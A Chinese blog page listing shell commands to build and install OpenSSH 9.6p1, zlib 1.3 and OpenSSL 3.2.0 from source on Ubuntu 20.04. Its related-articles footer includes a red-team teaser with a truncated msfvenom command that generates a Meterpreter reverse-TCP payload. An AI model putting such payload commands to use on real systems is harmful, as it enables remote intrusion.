首页 > 系统相关 >ubuntu 20.04.6 LTS (Focal Fossa) 升级openssh9.6p1,zlib1.3,openssl3.2.0

ubuntu 20.04.6 LTS (Focal Fossa) 升级openssh9.6p1,zlib1.3,openssl3.2.0

时间:2023-12-29 10:58:35浏览次数:40  
标签:LTS sshd openssl3.2 -- make openssl p1 usr local

# 卸载openssh

apt-get remove openssh-server openssh-client -y

 

# 更新 APT 软件包列表

apt-get update -y

 

# 安装 libpam0g-dev和gcc

apt-get install libpam0g-dev build-essential -y

 

# 安装zlib

tar -zxvf zlib-1.3tar.gz
./configure --shared
make && make install

 

# 安装OpenSSL

./config shared zlib 
make -j 4 && make install

 

# 备份openssl

mv /usr/bin/openssl /usr/bin/openssl.bak

 

# 从安装位置创建软连接到系统位置

ln -s /usr/local/bin/openssl /usr/bin/openssl

 

# 从用户库创建软链接到openssl安装位置的库目录下(如果目录不存在需要先创建)

ln -s /usr/local/lib64/libssl.so /usr/local/openssl/lib64/libssl.so
ln -s /usr/local/lib64/libssl.so.3 /usr/lib/libssl.so.3
ln -s /usr/local/lib64/libcrypto.so.3 /usr/lib/libcrypto.so.3

 

# 将openssl 的lib 库添加到系统

echo '/usr/local/openssl/lib64' > /etc/ld.so.conf.d/openssl.conf

 

# 使新添加的lib 被系统找到

ldconfig -v

 

# 验证版本

openssl version

 

# 安装openssh

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-md5-passwords --with-pam --with-zlib --with-ssl-dir=/usr/include/openssl --with-privsep-path=/var/lib/sshd
make -j 4 && make install

 

# 验证版本

ssh -V

 

# 取消SSH服务的解锁状态,重启sshd服务

systemctl unmask ssh
systemctl restart sshd

 

# 修改sshd_config中sftp路径

find / -name sftp-server #找到路径,一般为:/usr/libexec/sftp-server
cat -n /etc/ssh/sshd_config | grep sftp # 找到sftp在配置文件所在的行号
vim /etc/ssh/sshd_config 找到对应的行,把路径替换为刚找到的就行。

 

标签:LTS,sshd,openssl3.2,--,make,openssl,p1,usr,local
From: https://www.cnblogs.com/jianxiaoxiu/p/17934277.html

相关文章

  • OpenEuler22.03SP2 LTS安装PostgreSQL15.5并配置一主二从
    环境准备序号IP标识(hostname)CPU/内存配置系统盘数据盘1192.168.8.190pg018C+16G80G500G2192.168.8.191pg028C+16G80G500G3192.168.8.192pg038C+16G80G500G规划的文件夹目录(所有主机):##以下目录为本文规划的目录,可以提前创建,也可以跟着......
  • Unity_U_OP1 ScriptableObject 替代单例
    核心思想:解耦GameManager单例模式,不再由一个单例管理所有事件触发,拆分成无数个小单例,各自管理优点:更加灵活的事件管理模式复用性高,对于相关类型的事件,只需要写一遍代码,剩下的拖拖拖就可以实现相同的功能。缺点:管理起来相对麻烦不利于维护,除非对这个系统非常了解,要不然排......
  • 家用电子秤芯片CSU8RP1186可开发方案
     随着科技的不断发展,时代的变化,电子秤已经成为我们日常生活中不可或缺的测量工具。电子秤由称重模块、ADC芯片、MCU主控芯片、按键模块及显示模块等设计开发组成。当物体放到秤体上时,称重模块中的压力传感器取得称重物体的信息,再由ADC芯片将模拟信号转化为数字信号。MCU主控芯片......
  • 麒麟系统升级openssh至9.5p1
    当前环境:升级openssh需要三个包zlib-1.2.13.tar.gz、openssl-1.1.1t.tar.gz、openssh-9.5p1.tar.gz下载地址:zlib-1.2.13.tar.gzhttp://zlib.net/fossils/zlib-1.2.13.tar.gz  openssl-1.1.1t.tar.gzhttps://www.openssl.org/source/old/1.1.1/openssl-1.1.1t.tar.gzopen......
  • python是否存在LTS这个概念
    LTS(Long-TermSupport,长期支持)是一个常见的概念,通常用于描述软件的发布策略。然而,与其他一些编程语言和软件不同,Python并没有官方的LTS版本。在本文中,我们将探讨Python的版本发布和支持策略,以及如何选择适合自己需求的Python版本。Python版本发布策略Python的版本发布策略是基于PEP......
  • 适合高性能、通用和强大的应用 DSPIC33CK32MP102-I/2N、DSPIC33CK32MP102-I/M6、DSPIC
    概览:dsPIC33CK64MP10x系列数字信号控制器(DSC)采用100MHzdsPIC®DSC内核,集成DSP和增强型片上外设。这些DSC支持数字电源、电机控制、高级检测和控制、高性能通用和鲁棒应用的设计。在数字电源领域,该系列器件是PFC应用、无线电源和高密度DC-DC应用的理想选择。这些DSC也非常适合......
  • P1339 [USACO09OCT] Heat Wave G 最短路入门题 Dijkstra/SPFA/Dijkstra+优先队列优化
    目录朴素的Dijkstra算法SPFA算法Dijkstra+优先队列优化题目链接:https://www.luogu.com.cn/problem/P1339题目大意:无向图有单源最短路。朴素的Dijkstra算法时间复杂度\(O(n^2)\)。#include<bits/stdc++.h>usingnamespacestd;constintmaxn=2505;structEdge......
  • P1010 [NOIP1998 普及组] 幂次方(十进制转二进制)(递归)
    P1010[NOIP1998普及组]幂次方个人感想终于能真正自主解决一道纯递归题目了,完成前面那次P1928外星密码的遗憾了十进制转化二进制再处理也顺利搞定(之前洛谷月赛就有相似题目,当时觉得很难就没写,太亏了)十进制转二进制样例:inta[]while(n!=0){ if(n%2==1){ a......
  • P1259 黑白棋子的移动(函数预处理)
    P1259黑白棋子的移动个人感想终于不用看题解的思路写题了(大概率是题比较简单)函数预处理如果要实现两个函数间的互相调用,直接使用会报错,因为在你第一个函数中调用的第二个函数其实还没被定义。所以需要进行函数的预处理,将次函数(排序较后的函数)可以预处理定义即可解决。解题思......
  • 红队技巧12:cobaltstrike和msf相互联动
    前言我们在利用msf获取权限后有时候需要利用cobaltstrike的方便功能在利用cobaltstrike获取到权限后有时候需要利用msf的payload这时候就需要cobaltstrike和msf相互联动msf会话->cobaltstrike会话msf生成木马msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.30.......